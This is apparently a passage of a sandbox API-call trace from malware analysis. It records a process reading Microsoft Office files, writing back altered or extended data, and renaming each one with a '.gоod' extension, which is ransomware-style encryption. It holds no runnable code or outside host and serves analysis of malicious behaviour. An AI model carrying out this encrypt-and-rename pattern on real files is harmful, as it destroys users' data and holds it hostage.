lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", lpFilePart=0x0) returned 0x3f [0215.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.gоod", lpFilePart=0x0) returned 0x44 [0215.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0215.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7cadc4c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0215.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0215.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h.gоod")) returned 1 [0215.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", lpFilePart=0x0) returned 0x41 [0215.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0215.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), fInfoLevelId=0x0, lpFileInformation=0x3622a50 | out: lpFileInformation=0x3622a50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0215.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0215.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", lpFilePart=0x0) returned 0x41 [0215.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0215.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0215.820] GetFileType (hFile=0x820) returned 0x1 [0215.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0215.820] GetFileType (hFile=0x820) returned 0x1 [0215.820] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0215.820] ReadFile (in: hFile=0x820, lpBuffer=0x3623a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3623a68*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0215.822] CloseHandle (hObject=0x820) returned 1 [0215.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", lpFilePart=0x0) returned 0x41 [0215.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0215.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0215.851] GetFileType (hFile=0x820) returned 0x1 [0215.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0215.851] GetFileType (hFile=0x820) returned 0x1 [0215.851] WriteFile (in: hFile=0x820, lpBuffer=0x369f2f8*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x369f2f8*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0215.852] CloseHandle (hObject=0x820) returned 1 [0215.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS", lpFilePart=0x0) returned 0x41 [0215.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.gоod", lpFilePart=0x0) returned 0x46 [0215.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0215.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x7cdfd5c0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0215.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0215.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css.gоod")) returned 1 [0215.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", lpFilePart=0x0) returned 0x3f [0215.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0215.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), fInfoLevelId=0x0, lpFileInformation=0x36a0570 | out: lpFileInformation=0x36a0570*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0215.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0215.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", lpFilePart=0x0) returned 0x3f [0215.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0215.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0215.854] GetFileType (hFile=0x820) returned 0x1 [0215.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0215.854] GetFileType (hFile=0x820) returned 0x1 [0215.854] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0215.854] ReadFile (in: hFile=0x820, lpBuffer=0x36a1568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x36a1568*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0216.393] CloseHandle (hObject=0x820) returned 1 [0216.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", lpFilePart=0x0) returned 0x3f [0216.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0216.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0216.894] GetFileType (hFile=0x630) returned 0x1 [0216.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0216.894] GetFileType (hFile=0x630) returned 0x1 [0216.894] WriteFile (in: hFile=0x630, lpBuffer=0x370b3e8*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x370b3e8*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0216.895] CloseHandle (hObject=0x630) returned 1 [0216.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", lpFilePart=0x0) returned 0x3f [0216.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.gоod", lpFilePart=0x0) returned 0x44 [0216.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0216.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x7d7d32ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0216.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0216.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css.gоod")) returned 1 [0216.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", lpFilePart=0x0) returned 0x41 [0216.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0216.896] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), fInfoLevelId=0x0, lpFileInformation=0x370c798 | out: lpFileInformation=0x370c798*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70876)) returned 1 [0216.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0216.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", lpFilePart=0x0) returned 0x41 [0216.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0216.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0217.555] GetFileType (hFile=0x630) returned 0x1 [0217.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0217.555] GetFileType (hFile=0x630) returned 0x1 [0217.555] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0217.555] ReadFile (in: hFile=0x630, lpBuffer=0x35ba5b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x35ba5b8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0217.566] CloseHandle (hObject=0x630) returned 1 [0217.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", lpFilePart=0x0) returned 0x41 [0217.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0217.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0217.566] GetFileType (hFile=0x630) returned 0x1 [0217.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0217.566] GetFileType (hFile=0x630) returned 0x1 [0217.566] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x70876 [0217.566] WriteFile (in: hFile=0x630, lpBuffer=0x35cd2f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x35cd2f8*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0217.568] CloseHandle (hObject=0x630) returned 1 [0217.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", lpFilePart=0x0) returned 0x41 [0217.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0217.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0217.568] GetFileType (hFile=0x630) returned 0x1 [0217.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0217.568] GetFileType (hFile=0x630) returned 0x1 [0217.568] ReadFile (in: hFile=0x630, lpBuffer=0x35cf5b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x35cf5b0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0218.155] CloseHandle (hObject=0x630) returned 1 [0218.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", lpFilePart=0x0) returned 0x41 [0218.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0218.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0218.155] GetFileType (hFile=0x630) returned 0x1 [0218.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0218.155] GetFileType (hFile=0x630) returned 0x1 [0218.155] WriteFile (in: hFile=0x630, lpBuffer=0x3590a88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3590a88*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0218.156] CloseHandle (hObject=0x630) returned 1 [0218.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", lpFilePart=0x0) returned 0x41 [0218.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.gоod", lpFilePart=0x0) returned 0x46 [0218.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0218.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7e3e4e8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x70886)) returned 1 [0218.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0218.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs.gоod")) returned 1 [0218.157] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", lpFilePart=0x0) returned 0x49 [0218.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0218.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), fInfoLevelId=0x0, lpFileInformation=0x379c900 | out: lpFileInformation=0x379c900*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4571e)) returned 1 [0218.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0218.158] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", lpFilePart=0x0) returned 0x49 [0218.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0218.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0218.158] GetFileType (hFile=0x630) returned 0x1 [0218.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0218.158] GetFileType (hFile=0x630) returned 0x1 [0218.158] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0218.158] ReadFile (in: hFile=0x630, lpBuffer=0x379cd48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x379cd48*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0218.160] CloseHandle (hObject=0x630) returned 1 [0218.160] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", lpFilePart=0x0) returned 0x49 [0218.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0218.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0218.160] GetFileType (hFile=0x630) returned 0x1 [0218.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0218.160] GetFileType (hFile=0x630) returned 0x1 [0218.160] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x4571e [0218.161] WriteFile (in: hFile=0x630, lpBuffer=0x379e148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x379e148*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0218.162] CloseHandle (hObject=0x630) returned 1 [0218.162] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", lpFilePart=0x0) returned 0x49 [0218.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0218.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0218.163] GetFileType (hFile=0x630) returned 0x1 [0218.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0218.163] GetFileType (hFile=0x630) returned 0x1 [0218.163] ReadFile (in: hFile=0x630, lpBuffer=0x37a0910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37a0910*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 